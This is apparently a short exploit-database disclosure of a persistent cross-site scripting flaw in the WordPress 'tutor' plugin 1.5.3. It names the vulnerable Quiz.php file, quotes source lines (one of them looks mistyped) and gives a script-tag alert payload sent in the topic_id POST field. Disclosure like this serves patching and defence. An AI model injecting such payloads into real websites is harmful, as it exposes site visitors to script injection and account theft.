WordPress Plugin tutor.1.5.3 Exploit, Persistent Cross-Site ScriptingGo BackDownload

#  Tile: Wordpress Plugin tutor.1.5.3 - Persistent Cross-Site Scripting
#  Author: mehran feizi
#  Category: webapps
#  Date: 2020-02-12
#  vendor home page: https://wordpress.org/plugins/tutor/

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Vulnerable page:
/Quiz.php
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Vulnerable Source:
473: echo echo $topic_id; 
447: $topic_id = sanitize_text_field($_POST['topic_id']); 
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Exploit:
localhost/wp-content/plugins/tutor/classes/Quiz.php
$_POST('topic_id') = <script>alert('mehran')</script>
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